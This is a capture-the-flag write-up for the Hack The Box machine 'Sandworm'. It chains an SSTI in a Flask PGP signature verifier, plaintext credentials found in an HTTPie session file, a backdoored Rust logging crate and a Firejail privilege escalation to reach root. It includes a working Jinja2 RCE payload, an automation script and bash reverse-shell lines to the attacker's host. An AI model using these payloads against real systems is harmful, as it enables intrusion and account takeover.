Sandworm Writeup

18 November 2023 #CTF #HTB #box #medium #linux

sandworm info

Enumeration

nmap

$ sudo nmap -sC -sV 10.10.11.218
[...]
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-title: Secret Spy Agency | Secret Security Service
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Issuer: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-04T18:03:25
| Not valid after:  2050-09-19T18:03:25
| MD5:   b8b7:487e:f3e2:14a4:999e:f842:0141:59a1
|_SHA-1: 80d9:2367:8d7b:43b2:526d:5d61:00bd:66e9:48dd:c223
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

This is the website for a "Secret Spy Agency" that lets you submit PGP-encrypted tips.

At the bottom of the page, we learn that the site is built with Flask:

powered by flask

There is a guide to practice using PGP (and gpg) for working with public key cryptography (encrypt, decrypt, sign and verify):

PGP guide

The first step is to get the public key of the SSA organization and import it into our gpg keyring. Their public key can be found at https://ssa.htb/pgp:

-----BEGIN PGP PUBLIC KEY BLOCK-----

mQINBGRTz6YBEADA4xA4OQsDznyYLTi36TM769G/APBzGiTN3m140P9pOcA2VpgX
+9puOX6+nDQvyVrvfifdCB90F0zHTCPvkRNvvxfAXjpkZnAxXu5c0xq3Wj8nW3hW
DKvlCGuRbWkHDMwCGNT4eBduSmTc3ATwQ6HqJduHTOXpcZSJ0+1DkJ3Owd5sNV+Q
obLEL0VAafHI8pCWaEZCK+iQ1IIlEjykabMtgoMQI4Omf1UzFS+WrT9/bnrIAGLz
9UYnMd5UigMcbfDG+9gGMSCocORCfIXOwjazmkrHCInZNA86D4Q/8bof+bqmPPk7
y+nceZi8FOhC1c7IxwLvWE0YFXuyXtXsX9RpcXsEr6Xom5LcZLAC/5qL/E/1hJq6
MjYyz3WvEp2U+OYN7LYxq5C9f4l9OIO2okmFYrk4Sj2VqED5TfSvtiVOMQRF5Pfa
jbb57K6bRhCl95uOu5LdZQNMptbZKrFHFN4E1ZrYNtFNWG6WF1oHHkeOrZQJssw7
I6NaMOrSkWkGmwKpW0bct71USgSjR34E6f3WyzwJLwQymxbs0o1lnprgjWRkoa7b
JHcxHQl7M7DlNzo2Db8WrMxk4HlIcRvz7Wa7bcowH8Sj6EjxcUNtlJ5A6PLIoqN2
kQxM2qXBTr07amoD2tG1SK4+1V7h6maOJ1OEHmJsaDDgh9E+ISyDjmNUQQARAQAB
tEBTU0EgKE9mZmljaWFsIFBHUCBLZXkgb2YgdGhlIFNlY3JldCBTcHkgQWdlbmN5
LikgPGF0bGFzQHNzYS5odGI+iQJQBBMBCAA6FiEE1rqUIwIaCDnMxvPIxh1CkRC2
JdQFAmRTz6YCGwMFCwkIBwICIgIGFQoJCAsCAxYCAQIeBwIXgAAKCRDGHUKRELYl
1KYfD/0UAJ84quaWpHKONTKvfDeCWyj5Ngu2MOAQwk998q/wkJuwfyv3SPkNpGer
nWfXv7LIh3nuZXHZPxD3xz49Of/oIMImNVqHhSv5GRJgx1r4eL0QI2JeMDpy3xpL
Bs20oVM0njuJFEK01q9nVJUIsH6MzFtwbES4DwSfM/M2njwrwxdJOFYq12nOkyT4
Rs2KuONKHvNtU8U3a4fwayLBYWHpqECSc/A+Rjn/dcmDCDq4huY4ZowCLzpgypbX
gDrdLFDvmqtbOwHI73UF4qDH5zHPKFlwAgMI02mHKoS3nDgaf935pcO4xGj1zh7O
pDKoDhZw75fIwHJezGL5qfhMQQwBYMciJdBwV8QmiqQPD3Z9OGP+d9BIX/wM1WRA
cqeOjC6Qgs24FNDpD1NSi+AAorrE60GH/51aHpiY1nGX1OKG/RhvQMG2pVnZzYfY
eeBlTDsKCSVlG4YCjeG/2SK2NqmTAxzvyslEw1QvvqN06ZgKUZve33BK9slj+vTj
vONPMNp3e9UAdiZoTQvY6IaQ/MkgzSB48+2o2yLoSzcjAVyYVhsVruS/BRdSrzwf
5P/fkSnmStxoXB2Ti/UrTOdktWvGHixgfkgjmu/GZ1rW2c7wXcYll5ghWfDkdAYQ
lI2DHmulSs7Cv+wpGXklUPabxoEi4kw9qa8Ku/f/UEIfR2Yb0bkCDQRkU8+mARAA
un0kbnU27HmcLNoESRyzDS5NfpE4z9pJo4YA29VHVpmtM6PypqsSGMtcVBII9+I3
wDa7vIcQFjBr1Sn1b1UlsfHGpOKesZmrCePmeXdRUajexAkl76A7ErVasrUC4eLW
9rlUo9L+9RxuaeuPK7PY5RqvXVLzRducrYN1qhqoUXJHoBTTSKZYic0CLYSXyC3h
HkJDfvPAPVka4EFgJtrnnVNSgUN469JEE6d6ibtlJChjgVh7I5/IEYW97Fzaxi7t
I/NiU9ILEHopZzBKgJ7uWOHQqaeKiJNtiWozwpl3DVyx9f4L5FrJ/J8UsefjWdZs
aGfUG1uIa+ENjGJdxMHeTJiWJHqQh5tGlBjF3TwVtuTwLYuM53bcd+0HNSYB2V/m
N+2UUWn19o0NGbFWnAQP2ag+u946OHyEaKSyhiO/+FTCwCQoc21zLmpkZP/+I4xi
GqUFpZ41rPDX3VbtvCdyTogkIsLIhwE68lG6Y58Z2Vz/aXiKKZsOB66XFAUGrZuC
E35T6FTSPflDKTH33ENLAQcEqFcX8wl4SxfCP8qQrff+l/Yjs30o66uoe8N0mcfJ
CSESEGF02V24S03GY/cgS9Mf9LisvtXs7fi0EpzH4vdg5S8EGPuQhJD7LKvJKxkq
67C7zbcGjYBYacWHl7HA5OsLYMKxr+dniXcHp2DtI2kAEQEAAYkCNgQYAQgAIBYh
BNa6lCMCGgg5zMbzyMYdQpEQtiXUBQJkU8+mAhsMAAoJEMYdQpEQtiXUnpgP/3AL
guRsEWpxAvAnJcWCmbqrW/YI5xEd25N+1qKOspFaOSrL4peNPWpF8O/EDT7xgV44
m+7l/eZ29sre6jYyRlXLwU1O9YCRK5dj929PutcN4Grvp4f9jYX9cwz37+ROGEW7
rcQqiCre+I2qi8QMmEVUnbDvEL7W3lF9m+xNnNfyOOoMAU79bc4UorHU+dDFrbDa
GFoox7nxyDQ6X6jZoXFHqhE2fjxGWvVFgfz+Hvdoi6TWL/kqZVr6M3VlZoExwEm4
TWwDMOiT3YvLo+gggeP52k8dnoJWzYFA4pigwOlagAElMrh+/MjF02XbevAH/Dv/
iTMKYf4gocCtIK4PdDpbEJB/B6T8soOooHNkh1N4UyKaX3JT0gxib6iSWRmjjH0q
TzD5J1PDeLHuTQOOgY8gzKFuRwyHOPuvfJoowwP4q6aB2H+pDGD2ewCHBGj2waKK
Pw5uOLyFzzI6kHNLdKDk7CEvv7qZVn+6CSjd7lAAHI2CcZnjH/r/rLhR/zYU2Mrv
yCFnau7h8J/ohN0ICqTbe89rk+Bn0YIZkJhbxZBrTLBVvqcU2/nkS8Rswy2rqdKo
a3xUUFA+oyvEC0DT7IRMJrXWRRmnAw261/lBGzDFXP8E79ok1utrRplSe7VOBl7U
FxEcPBaB0bhe5Fh7fQ811EMG1Q6Rq/mr8o8bUfHh
=P8U3
-----END PGP PUBLIC KEY BLOCK-----

We'll copy this key to a file called ssa.pub before importing it:

$ gpg --import ssa.pub

$ gpg --list-keys
[...]
pub   rsa4096 2023-05-04 [SC]
      D6BA9423021A0839CCC6F3C8C61D429110B625D4
uid           [ unknown] SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
sub   rsa4096 2023-05-04 [E]

With this public key, we can encrypt messages that only the secret key of the "Secret Spy Agency" can decrypt:

$ echo what the dog doin > msg.txt

$ gpg -r 'atlas@ssa.htb' --encrypt --armor msg.txt
gpg: 6BB733D928D14CE6: There is no assurance this key belongs to the named user

sub  rsa4096/6BB733D928D14CE6 2023-05-04 SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
 Primary key fingerprint: D6BA 9423 021A 0839 CCC6  F3C8 C61D 4291 10B6 25D4
      Subkey fingerprint: 4BAD E0AE B5F5 5080 6083  D5AC 6BB7 33D9 28D1 4CE6

It is NOT certain that the key belongs to the person named
in the user ID.  If you *really* know what you are doing,
you may answer the next question with yes.

Use this key anyway? (y/N) y

$ cat msg.txt.asc
-----BEGIN PGP MESSAGE-----

hQIMA2u3M9ko0UzmAQ//Zz2+3c91VnXGSWB0WK3uPPnYEgt1kjxL8OVZh5ppjrcF
5WEZujlA9ZAAuBNyxR1Nb3QBpsYi6Rhbg49M6YyPiI9flonWU8e+OxvOgqOMXp3F
08fLBS8N9OSjY+cF+sNrWk/gdVzivBF7HsVMHldN+A0yc+CBo9fbAUicYouG/KzP
ZpeNjBmrAUzNkQTZL4/PrwG94qQbThcyukycw/b2PN4tUkvUzma6TLgxnD/9I/yc
ZhIPZDeLwyPjVlY7dvlJsKuOX8arFR0Do1irIdBY4eEdLdJZU06Vgsom42tJX/ZQ
W8Vwh01jqP8RRDma3j+5p7AF6hdepEBh7ZaTyHpPC7FA1F2pGmh/paClVLo0rmVB
2tngP/XZ9ij2AAYIFknO9pKUfp2SzyIH+YJetPZcFhOmGGLrThNS1uBgKEKlfLly
U22FtnRNr4CZ7RotNb6dneo6YpX+EzhFwnHrBfR8e/fVt2+mSAw66zxdI+JMIwsM
TJHRLzbULXJ9zHgkaTK0tSe2SOtHDeC6A71y8Bc1W0rSpyhVu1YqLyEXOrvwkw9Z
BQ1kz9HkjYAc44TCpeaLT3AjD9Vzar4/FoF/KgkNJZWbxXudtZu0RueHwNm+fNKI
QBU2PZ0pQ/3jKzGWUH8Oou8HKktPRynJAB1ZNtkelJ8jTjTrEBRuuI9/JQRMQQLS
UgEA1jpqSZd06K+4spDxDmN1ojRHkbXGfmfD+s+AfoHRA3BtU7/Qdhe1NkpTBSZa
Hnwgf9lQMSPOkFM845yxHsJL9O+UJzyLQQTuUtRHPNg+h4Q=
=0HSX
-----END PGP MESSAGE-----

We got a warning when encrypting the message because we didn't sign the public key with our own private key.

Let's take the encrypted message and try to decrypt it on the "guide" interface:

decrypt message

Nice, it works just fine.

One other functionality of this web app is to verify the signature of a signed message. To do that we need to create a key pair, and provide some signed message along with our public key to verify it.

We'll start by creating a new key pair:

$ gpg --full-generate-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
  (14) Existing key from card
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072) 1024
Requested keysize is 1024 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y

GnuPG needs to construct a user ID to identify your key.

Real name: testkey
Email address: asdf@asdf.com
Comment: comment
You selected this USER-ID:
    "testkey (comment) <asdf@asdf.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
public and secret key created and signed.

pub   rsa1024 2023-11-17 [SC]
      7299E022127F8BC3DDF9AFD24603BEA073249F09
uid                      testkey (comment) <asdf@asdf.com>
sub   rsa1024 2023-11-17 [E]

We have to select the different options and choose a passphrase for the key.

Once the key pair is created, we can use it to sign a cleartext message:

$ gpg --clearsign -r 'asdf@asdf.com' msg.txt
gpg: WARNING: recipients (-r) given without using public key encryption

$ cat msg.txt.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

what the dog doin
-----BEGIN PGP SIGNATURE-----

iLMEAQEKAB0WIQR6Tf7ocTBoR/0siKqRsRT5NPsLQAUCZVdzRgAKCRCRsRT5NPsL
QH/YA/0b96eduqg4ebyX8PrQFkNEGwRxxuKPsa8+tYcKu9AlTMSOgxCU2Mq2PcVx
YPntgjIebEqgVsoO+2XFC+hib+AOmmkzpkj7QW83aQmlTE5JRTP8rD1gVlc1sg3/
6u6vnrFhSp0ZJEOSw5knsvQOkogwReL05n4TiCTKUUyL1IM7Dg==
=EGNB
-----END PGP SIGNATURE-----

Now let's export our public key:

$ gpg --export --armor 'asdf@asdf.com'
-----BEGIN PGP PUBLIC KEY BLOCK-----

mI0EZVdzNwEEAMzoM2uHp5n8ecKfqdmDEEFPs3eezP/PE+ngmQwLdQY2faZyHUTL
uvcfuLs0q8KgWlY9rv+EAWuRAyTlP/QMrqzFcMgk4udxJElBARjUI+/GZEuAj8hK
r+NTfT8ed6982pfXHNwixw9VMeMdunADEvrjeI8Gq+knwxY/lhttTJX1ABEBAAG0
IXRlc3RrZXkgKGNvbW1lbnQpIDxhc2RmQGFzZGYuY29tPojOBBMBCgA4FiEEek3+
6HEwaEf9LIiqkbEU+TT7C0AFAmVXczcCGwMFCwkIBwIGFQoJCAsCBBYCAwECHgEC
F4AACgkQkbEU+TT7C0C7EQQAtsUKxrA3we121xbp+Dptnc0/yXracmPboO8Vrxms
/l4VVJdMEA3BVfWAG5P7cg7ZOVMU6N88Rcczok3fYvD2uyn+8SqFJbyITAj+kzir
wceimQenSXPu8p9Kud0iW4swLC5fa+xG/Q90rzzJqOcQ8aFcEkgRLSvpy5fZr91Z
q9O4jQRlV3M3AQQAq8PCnQ6lTl9Wo5OARjd4yNt8Zoz/xhiquFaaNz/yeRusROh4
yNGFUy9IWfZhhLFYqXJCTVoVNG8jnv1f+LlYQqyzc7Ff5K0nv7tNSBpzpemWlBXO
ZmtQ/l0QL1OyLAUPgdgsQYI+YqL0FaWKXMPObSJOqhBPNpQK8ZQ0d3uV31sAEQEA
AYi2BBgBCgAgFiEEek3+6HEwaEf9LIiqkbEU+TT7C0AFAmVXczcCGwwACgkQkbEU
+TT7C0ClhgP+Owr7SuSNQIeKH+EanJXfFerxWpxq/2O3dhx0aHBj5hnrmkTabklN
149nyW+e3unYLllBZ5D3ghpSCeKoTZeLhpSWW3sSROPfOHzm965vn3DBa+NnFW5p
Hz/K1fUqgS8N5s4jUWKcbCFG8RFob9YhMc4FvYSFscvLQqSdagklgAU=
=OG9Y
-----END PGP PUBLIC KEY BLOCK-----

Now we can submit both the signed message and the public key to verify the signature:

verify signature

After clicking on the "Verify Signature" button, we get this output:

verification output

Foothold

After playing some more with the functionality, we can identify a SSTI (Server Side Template Injection) vulnerability when verifying the signature.

Just change the comment field to {{7*7}} and submit:

SSTI proof

We get 49 back, which shows that the 7*7 got evaluated.

Since it is pretty annoying to manually generate and modify keys, I created a Python script to do this for us:

#!/usr/bin/env python3

import gnupg
import requests
from cmd import Cmd
import re
import sys
import html
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

URL = "https://ssa.htb/process"

PASSPHRASE = "v3RY5tr0NNgpP45Sphr@s3"
gpg = gnupg.GPG()

MESSAGE = "test message hehexd"

session = requests.Session()
#session.proxies.update({ "http": "http://127.0.0.1:8080" })

pattern = re.compile(r"\((.*)\)")

def generate_key(payload):
    params = gpg.gen_key_input(
        key_length=1024,
        name_email="asdf@asdf.com",
        name_comment=payload,
        passphrase=PASSPHRASE
    )
    key = gpg.gen_key(params)
    ascii_public_key = gpg.export_keys(key.fingerprint)
    return key.fingerprint, ascii_public_key


def sign_msg(fingerprint):
    signed_message = gpg.sign(MESSAGE, keyid=fingerprint, passphrase=PASSPHRASE)
    return signed_message


def del_key(fingerprint):
    gpg.delete_keys(fingerprint, True, passphrase=PASSPHRASE)
    gpg.delete_keys(fingerprint)


class Term(Cmd):
    prompt = ">_ "

    def default(self, payload):
        fingerprint, ascii_key = generate_key(payload)
        signed_message = sign_msg(fingerprint)
        body = {
            "public_key": ascii_key,
            "signed_text": signed_message
        }
        res = session.post(URL, data=body, verify=False)
        output = html.unescape(res.text)
        match = pattern.search(output)
        if match:
            print(match.group(1))
        else:
            print(output)
        del_key(fingerprint)

    def do_EOF(self, _):
        session.close()
        print("")
        sys.exit(0)


try:
    term = Term()
    term.cmdloop()
except KeyboardInterrupt:
    session.close()
    print("")

It's using the cmd module to provide an interactive interface allowing us to send payloads easily:

$ python ssti.py
>_ {{7*7}}
49
>_ {{namespace.__init__.__globals__.os.popen('id').read()}}
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas
>_ {{namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.27/443 0>&1"').read()}}

Privesc

Firejail Escape

When trying to write a file into a directory we have permission to write in, we get a weird error:

atlas@sandworm:~$ echo asdf > test.txt
bash: test.txt: Read-only file system

Furthermore, some common utilities like ps or ss are missing:

atlas@sandworm:/$ ps
Could not find command-not-found database. Run 'sudo apt update' to populate it.
ps: command not found

atlas@sandworm:/$ ss
ss
Could not find command-not-found database. Run 'sudo apt update' to populate it.
ss: command not found

It looks like we are in some kind of sandbox.

Still, we are able to navigate the file system and read files. We can find creds for another user in a config file:

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}

We can SSH in as silentobserver:

$ ssh silentobserver@ssa.htb
silentobserver@ssa.htb's password:
[...]
silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)

silentobserver to atlas

After uploading and running pspy we see a command being executed periodically:

silentobserver@sandworm:~$ ./pspy64
[...]
CMD: UID=0  PID=5658  | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
[...]

It's executing a custom Rust program as the atlas user.

The code is located at /opt/tipnet. In Cargo.toml, it is using a custom crate (package) located at /opt/crates/logger to provide logging capabilities:

silentobserver@sandworm:~$ cat /opt/tipnet/Cargo.toml
[...]
logger = {path = "../crates/logger"}
[...]

The interesting thing to note is that our user has write access on /opt/crates/logger/src/:

silentobserver@sandworm:~$ ls -Alh /opt/crates/logger/
total 32K
-rw-r--r-- 1 atlas silentobserver  12K May  4  2023 Cargo.lock
-rw-r--r-- 1 atlas silentobserver  190 May  4  2023 Cargo.toml
drwxrwxr-x 6 atlas silentobserver 4.0K May  4  2023 .git
-rw-rw-r-- 1 atlas silentobserver   20 May  4  2023 .gitignore
drwxrwxr-x 2 atlas silentobserver 4.0K May  4  2023 src
drwxrwxr-x 3 atlas silentobserver 4.0K May  4  2023 target

This means we can modify the logger::log() function in /opt/crates/logger/src/lib.rs and append some arbitrary Rust code that will get executed by the atlas user whenever the tipnet program calls the logger::log() function.

We'll use std::process::Command to execute system commands to send a reverse shell back to us:

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }

    Command::new("/bin/bash")
        .args(["-c", "bash -i >& /dev/tcp/10.10.14.27/443 0>&1"])
        .spawn();
}

After 1 or 2 minutes we get a connection on our reverse shell listener:

$ nc -lnvp 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.218:60348.
bash: cannot set terminal process group (5679): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)

atlas to root

The atlas user is a member of the jailer group, which has permission to execute the firejail binary:

atlas@sandworm:~$ find / -group jailer -ls 2>/dev/null
   1344  1740 -rwsr-x---  1 root   jailer  1777952 Nov 29  2022 /usr/local/bin/firejail

Let's check out the version:

atlas@sandworm:~$ firejail --version
firejail version 0.9.68
[...]

This Firejail version has a vulnerability that allows unprivileged users to escalate privileges to root. This post goes over the technical details and provides a python proof of concept that we'll use to exploit the vulnerability.

Copy the python script to the box and execute it:

atlas@sandworm:~$ ./firejoin.py
You can now run 'firejail --join=7327' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.

We'll start another shell as atlas and execute the firejail command the python script asked us to run to get a root shell:

atlas@sandworm:~$ firejail --join=7327
changing root to /proc/7327/root
Warning: cleaning all supplementary groups
Child process initialized in 11.44 ms
atlas@sandworm:~$ su -l
root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways